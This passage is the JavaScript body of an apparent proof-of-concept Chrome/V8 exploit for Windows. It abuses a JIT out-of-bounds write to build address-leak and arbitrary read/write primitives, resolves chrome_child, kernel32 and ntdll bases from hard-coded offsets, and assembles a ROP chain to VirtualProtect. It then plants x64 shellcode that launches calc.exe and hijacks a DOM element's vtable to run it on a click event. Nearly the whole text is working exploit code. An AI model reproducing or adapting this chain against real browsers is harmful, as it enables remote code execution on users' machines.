if (ret.substr(0,2) != "0x") return "0x"+ret;
else return ret;
}

function lower(x) {
// returns the lower 32bit of double x
return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-8,8),16) | 0;
}

function upper(x) {
// returns the upper 32bit of double x
return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-16, 8),16) | 0;
}


function lowerint(x) {
// returns the lower 32bit of int x
return parseInt(("0000000000000000" + x.toString(16)).substr(-8,8),16) | 0;
}

function upperint(x) {
// returns the upper 32bit of int x
return parseInt(("0000000000000000" + x.toString(16)).substr(-16, 8),16) | 0;
}

function combine(a, b) {
//a = a >>> 0;
//b = b >>> 0;
//console.log(a.toString());
//console.log(b.toString());
return parseInt(Int64.fromDouble(b).toString() + Int64.fromDouble(a).toString(), 16);
}


//padLeft用于字符串左补位

function combineint(a, b) {
//a = a >>> 0;
//b = b >>> 0;
return parseInt(b.toString(16).substr(-8,8) + (a.toString(16)).padLeft(8), 16);
}

function gc(){
for (var i = 0; i < 1024 * 1024 * 16; i++){
new String();
}
}

function clear_space(){
gc();
gc();
}

function get_shell(){
return 1 + 1;
}

var leak = get_shell;
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
oob_double_Array = new Array(0x10);
oob_double_Array[0] = 1.1;
object_Array = new Array(0x10);
object_Array[0] = {};
object_Array[1] = leak;
x = x >> 16
a1[x * 19] = 2.60750842793813e-310; // 0xffff00000000
a1[x * 21] = 2.60750842793813e-310; // 0x2a00000000
a1[x * 41] = 2.60750842793813e-310; // 0x2a00000000
}
var a1, oob_double_Array, object_Array, oob_buffer;
var a3 = [1.1,2.2];
a3.length = 0x11000;
a3.fill(3.3);
var a4 = [1.1];
for (let i = 0; i < 10000; i++) fun(...a4);
// %OptimizeFunctionOnNextCall(fun);
fun(...a3);
// console.log(a1.length);
// console.log(oob_double_Array.length);
/* for (var i = 0; i < a1.length; i++){
console.log(a1[i]);
} */
console.log("this is a2");

function user_space_read(leak){
object_Array[1] = leak;
return oob_double_Array[23];
}

function writePtr(offset, address, value){
oob_double_Array[offset] = address;
fake_dv = new Float64Array(oob_buffer);
fake_dv[0] = value;
}

function readPtr(offset, address){
oob_double_Array[offset] = address;
fake_dv = new Float64Array(oob_buffer);
return fake_dv[0];
}

function_addr = oob_double_Array[23];
console.log("[+] the get shell function addr is at " + Int64.fromDouble(function_addr).toString());
oob_buffer = new ArrayBuffer(0x1000);

%DebugPrint(get_shell);
/* for (var i = 0; i < oob_double_Array.length; i++){
console.log(Int64.fromDouble(oob_double_Array[i]).toString());
} */
%DebugPrint(a1);
%DebugPrint(oob_double_Array);
%DebugPrint(oob_buffer);

oob_buffer_addr = user_space_read(oob_buffer);
// alert("[+] the oob_buffer_addr is at " + Int64.fromDouble(oob_buffer_addr).toString());

oob_array_addr = user_space_read(oob_double_Array);
// alert("[+] the oob_array_addr is at " + Int64.fromDouble(oob_array_addr).toString());

temp1 = Int64.fromDouble(oob_buffer_addr + new Int64(0x1f).asDouble() - oob_array_addr + new Int64(0x81).asDouble());
// alert("temp1 is " + temp1.toString())

offset = lowerint(temp1) / 8;
// alert("offset is " + offset.toString())



/* object_Array[1] = oob_double_Array;
oob_double_Array_addr = oob_double_Array[23];
alert("[+] the oob_double_Array_addr is at " + Int64.fromDouble(oob_double_Array_addr).toString());
*/

let scratch = new ArrayBuffer(0x100000);
let scratch_u8 = new Uint8Array(scratch);
let scratch_u64 = new Float64Array(scratch);
scratch_u8.fill(0x41, 0, 10);

var shellcode1 = [72, 131, 236, 40, 72, 131, 228, 240, 72, 199, 194, 96, 0, 0, 0, 101, 76, 139, 34, 77, 139, 100, 36, 24, 77, 139, 100, 36, 32, 77, 139, 36, 36, 77, 139, 36, 36, 77, 139, 100, 36, 32, 72, 186, 142, 78, 14, 236, 0, 0, 0, 0, 73, 139, 204, 232, 102, 0, 0, 0, 235, 56, 89, 255, 208, 72, 199, 194, 152, 254, 138, 14, 73, 139, 204, 232, 82, 0, 0, 0, 72, 139, 216, 77, 51, 201, 235, 60, 65, 88, 235, 42, 90, 72, 139, 202, 255, 211, 72, 199, 194, 197, 181, 73, 17, 73, 139, 204, 232, 49, 0, 0, 0, 72, 51, 201, 255, 208, 232, 195, 255, 255, 255, 117, 115, 101, 114, 51, 50, 46, 100, 108, 108, 0, 232, 209, 255, 255, 255, 99, 97, 108, 99, 46, 101, 120, 101, 0, 232, 191, 255, 255, 255, 99, 97, 108, 99, 46, 101, 120, 101, 0, 76, 139, 233, 65, 139, 69, 60, 77, 139, 221, 76, 3, 232, 69, 139, 181, 136, 0, 0, 0, 77, 3, 243, 69, 139, 86, 24, 65, 139, 94, 32, 73, 3, 219, 103, 227, 60, 73, 255, 202, 66, 139, 52, 147, 73, 3, 243, 72, 51, 255, 72, 51, 192, 252, 172, 132, 192, 116, 7, 193, 207, 13, 3, 248, 235, 244, 59, 250, 117, 220, 65, 139, 94, 36, 73, 3, 219, 51, 201, 102, 66, 139, 12, 83, 65, 139, 94, 28, 73, 3, 219, 139, 4, 139, 73, 3, 195, 195]

let shellcode = new Uint8Array(shellcode1.length);
for (var i = 0; i < shellcode1.length; i++){
shellcode[i] = shellcode1[i];
}

let div = document.createElement('div');
let div_addr = user_space_read(div);
alert("[+] the div_addr is at " + Int64.fromDouble(div_addr).toString());

el_addr = readPtr(offset, div_addr + new Int64(0x1f).asDouble());
// alert("[+] the el_addr is at " + Int64.fromDouble(el_addr).toString());

el_vftable = readPtr(offset, el_addr);
// alert("[+] the leak is at " + Int64.fromDouble(leak).toString());

chrome_child_addr = el_vftable - (new Int64(0x433e910).asDouble());
// alert("[+] the chrome_child_addr is at " + Int64.fromDouble(chrome_child_addr).toString());


// kernel32_addr = readPtr(offset, chrome_child_addr + new Int64(0x49dbde8).asDouble()) - new Int64(0x20db0).asDouble();
// x chrome_child!*CreateEventW*
kernel32_addr = readPtr(offset, chrome_child_addr + new Int64(0x49db4f8).asDouble()) - new Int64(0x21f20).asDouble();

// alert("[+] the kernel32_addr is at " + Int64.fromDouble(kernel32_addr).toString());


// ntdll_addr = readPtr(offset, kernel32_addr + new Int64(0x79208).asDouble()) - new Int64(0x9a9b0).asDouble();
// 0:016> x KERNEL32!*NtQueryEvent*
ntdll_addr = readPtr(offset, kernel32_addr + new Int64(0x76fe8).asDouble()) - new Int64(0xa55d0).asDouble();;
// alert("[+] the ntdll_addr is at " + Int64.fromDouble(ntdll_addr).toString());

// gadget = ntdll_addr + new Int64(0xA0715).asDouble();
gadget = ntdll_addr + new Int64(0xAB9B5).asDouble();
// alert("[+] the gadget(mov rdx, [rcx+50h]\n mov rbp, [rcx+18h]\n mov rsp, [rcx+10h]\n) is at " + Int64.fromDouble(gadget).toString());

pop_rcx_ret = chrome_child_addr + new Int64(0x40982c).asDouble();
// alert("[+] the pop_rcx_ret is at " + Int64.fromDouble(pop_rcx_ret).toString());

pop_rdx_ret = chrome_child_addr + new Int64(0x12d91a).asDouble();
// alert("[+] the pop_rdx_ret is at " + Int64.fromDouble(pop_rdx_ret).toString());

pop_r8_ret = chrome_child_addr + new Int64(0x11b6012).asDouble();
// alert("[+] the pop_r8_ret is at " + Int64.fromDouble(pop_r8_ret).toString());

pop_r9_ret = chrome_child_addr + new Int64(0x197b44c).asDouble();
// alert("[+] the pop_r9_ret is at " + Int64.fromDouble(pop_r9_ret).toString());

// virtaulprotect_addr = kernel32_addr + new Int64(0x193d0).asDouble();

virtaulprotect_addr = kernel32_addr + new Int64(0x1B330).asDouble();

// alert("[+] the virtaulprotect_addr is at " + Int64.fromDouble(virtaulprotect_addr).toString());

%DebugPrint(scratch);

scratch_buffer_addr = user_space_read(scratch);
// alert("[+] the scratch_buffer_addr is at " + Int64.fromDouble(scratch_buffer_addr).toString());

let scratch_addr = readPtr(offset, scratch_buffer_addr + new Int64(0x1f).asDouble());
// alert("[+] the scratch_addr is at " + Int64.fromDouble(scratch_addr).toString());

sc_upper = upper(scratch_addr);
sc_lower = lower(scratch_addr);
scratch_addr1 = combineint(sc_upper, sc_lower);


let sc_offset = 0x20000 - scratch_addr1 % 0x1000;
// alert("[+] the sc_offset is at 0x" + sc_offset.toString(16));

let sc_addr = scratch_addr + new Int64("0x" + sc_offset.toString(16)).asDouble();
// alert("[+] the sc_addr is at " + Int64.fromDouble(sc_addr).toString());

scratch_u8.set(shellcode, Number(sc_offset));

scratch_u64.fill(gadget, 0, 100);

let fake_vtab = scratch_addr;
// alert("[+] the fake_vtab is at " + Int64.fromDouble(fake_vtab).toString());

let fake_stack = scratch_addr + new Int64(0x10000).asDouble();

let stack = [
pop_rcx_ret,
sc_addr,
pop_rdx_ret,
new Int64(0x1000).asDouble(),
pop_r8_ret,
new Int64(0x40).asDouble(),
pop_r9_ret,
scratch_addr,
virtaulprotect_addr, // VirtualProtect
sc_addr,
];

for (let i = 0; i < stack.length; ++i) {
scratch_u64[0x10000/8 + i] = stack[i];
}


writePtr(offset, el_addr + new Int64(0x10).asDouble(), fake_stack); // RSP
writePtr(offset, el_addr + new Int64(0x50).asDouble(), pop_rcx_ret + new Int64(0x1).asDouble()); // RIP = ret
writePtr(offset, el_addr + new Int64(0x58).asDouble(), 0);
writePtr(offset, el_addr + new Int64(0x60).asDouble(), 0);
writePtr(offset, el_addr + new Int64(0x68).asDouble(), 0);
writePtr(offset, el_addr, fake_vtab);

// alert("ok");
div.dispatchEvent(new Event('click'));
</script>
</html>